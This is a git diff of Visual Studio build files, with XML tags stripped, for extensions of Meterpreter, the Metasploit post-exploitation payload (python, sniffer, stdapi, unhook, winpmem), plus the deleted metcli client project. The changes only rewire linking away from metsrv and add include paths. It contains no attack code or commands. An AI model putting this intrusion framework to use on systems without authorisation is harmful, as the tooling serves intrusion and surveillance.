{9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {662afbb3-f64a-4ad1-8956-b9f1b846231c} false - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -379,4 +375,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj index 82909307..5342aacf 100755 --- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj +++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded @@ -102,11 +102,12 @@ true - crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) + crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_python.map @@ -136,7 +137,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded @@ -154,11 +155,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;crypto-46.lib;ssl-48.lib;tls-20.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) + gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;crypto-46.lib;ssl-48.lib;tls-20.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_python.map @@ -191,7 +193,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded @@ -208,9 +210,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) + + false true $(OutDir)\ext_server_python.map @@ -243,7 +246,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\python\include;..\..\source\extensions\python\Modules\_ctypes\libffi_msvc;..\..\source\extensions\python\Modules\zlib;..\..\source\extensions\python\PC;..\..\source\extensions\python\Python;..\..\deps\libressl\include;..\..\source\common;%(AdditionalIncludeDirectories) _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PYTHON_EXPORTS;Py_BUILD_CORE;Py_ENABLE_SHARED;%(PreprocessorDefinitions) true MultiThreaded @@ -260,9 +263,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) + + false true $(OutDir)\ext_server_python.map @@ -298,14 +302,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -668,4 +664,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj index 15348835..ffa1ca4b 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj +++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj @@ -66,7 +66,7 @@ MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SNIFFER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -90,10 +90,11 @@ 0x0409 - backcompat.lib;pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs;%(AdditionalLibraryDirectories) + backcompat.lib;pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs;%(AdditionalLibraryDirectories) true - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_sniffer.pdb false @@ -127,7 +128,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\sniffer;..\..\..\..\..\pssdk\_include;..\..\source\common;%(AdditionalIncludeDirectories) _WIN64;WIN64;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SNIFFER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -150,10 +151,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;metsrv.lib;%(AdditionalDependencies) + pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;%(AdditionalDependencies) true - ..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs64;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs64;%(AdditionalLibraryDirectories) + + $(OutDir)\ext_server_sniffer.pdb false @@ -194,14 +196,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -211,4 +205,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 22db6294..be50e556 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -97,7 +97,7 @@ MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -120,10 +120,11 @@ 0x0409 - psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) + + true $(OutDir)\ext_server_stdapi.map false @@ -158,7 +159,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -181,10 +182,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) + + true $(OutDir)\ext_server_stdapi.map false @@ -219,7 +221,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -241,10 +243,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\..\lib;..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\lib;%(AdditionalLibraryDirectories) + + true $(OutDir)\ext_server_stdapi.map false @@ -279,7 +282,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\stdapi\server;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS;%(PreprocessorDefinitions) true MultiThreaded @@ -301,10 +304,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\..\lib;..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\lib;%(AdditionalLibraryDirectories) + + true $(OutDir)\ext_server_stdapi.map false @@ -411,14 +415,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -428,4 +424,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj index 1c8fc553..cc0c1da3 100644 --- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj +++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -101,11 +101,12 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_unhook.map @@ -133,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -150,11 +151,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_unhook.map @@ -185,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -201,9 +203,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_unhook.map @@ -233,7 +236,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -249,9 +252,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_unhook.map @@ -294,14 +298,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -311,4 +307,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj index b8ff0995..93d2ceb4 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj +++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -101,11 +101,12 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_winpmem.map @@ -132,7 +133,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -149,11 +150,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_winpmem.map @@ -183,7 +185,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline true - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -199,9 +201,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_winpmem.map @@ -231,7 +234,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\winpmem;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_WINPMEM_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -247,9 +250,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_winpmem.map @@ -291,14 +295,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -313,4 +309,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/metcli/metcli.vcxproj b/c/meterpreter/workspace/metcli/metcli.vcxproj deleted file mode 100644 index 22a99805..00000000 --- a/c/meterpreter/workspace/metcli/metcli.vcxproj +++ /dev/null @@ -1,354 +0,0 @@ - - - - - Debug - Win32 - - - Debug - x64 - - - Release - Win32 - - - Release - x64 - - - - {4DECF649-2B11-47A2-908E-031105D706F8} - metcli - - - - Application - false - MultiByte - v110_xp - - - Application - false - MultiByte - v110_xp - - - Application - false - MultiByte - v110_xp - - - Application - false - MultiByte - v110_xp - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>10.0.30319.1 - .\Debug\ - .\Debug\ - true - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - true - .\Release\ - .\Release\ - false - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - false - AllRules.ruleset - - - AllRules.ruleset - - - AllRules.ruleset - - - AllRules.ruleset - - - - - - .\Debug\metcli.tlb - - - - - Disabled - _DEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebug - Use - metcli.h - .\Debug\metcli.pch - .\Debug\ - .\Debug\ - .\Debug\ - Level3 - true - EditAndContinue - - - _DEBUG;%(PreprocessorDefinitions) - 0x0409 - - - common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Debug\metcli.exe - true - ..\common\Debug;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Debug\metcli.pdb - Console - false - - - MachineX86 - - - true - .\Debug\metcli.bsc - - - copy debug\metcli.exe ..\..\output\client - - - - - X64 - .\Debug\metcli.tlb - - - - - Disabled - _DEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebug - Use - metcli.h - .\Debug\metcli.pch - .\Debug\ - .\Debug\ - .\Debug\ - Level3 - true - ProgramDatabase - - - _DEBUG;%(PreprocessorDefinitions) - 0x0409 - - - common.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) - .\Debug\metcli.exe - true - ..\common\Debug;%(AdditionalLibraryDirectories) - ..\..\source\client\metcli.def - true - .\Debug\metcli.pdb - Console - false - - - MachineX64 - - - true - .\Debug\metcli.bsc - - - copy debug\metcli.exe ..\..\output\client - - - - - .\Release\metcli.tlb - - - - - MinSpace - OnlyExplicitInline - ..\..\deps\openssl\include;%(AdditionalIncludeDirectories) - 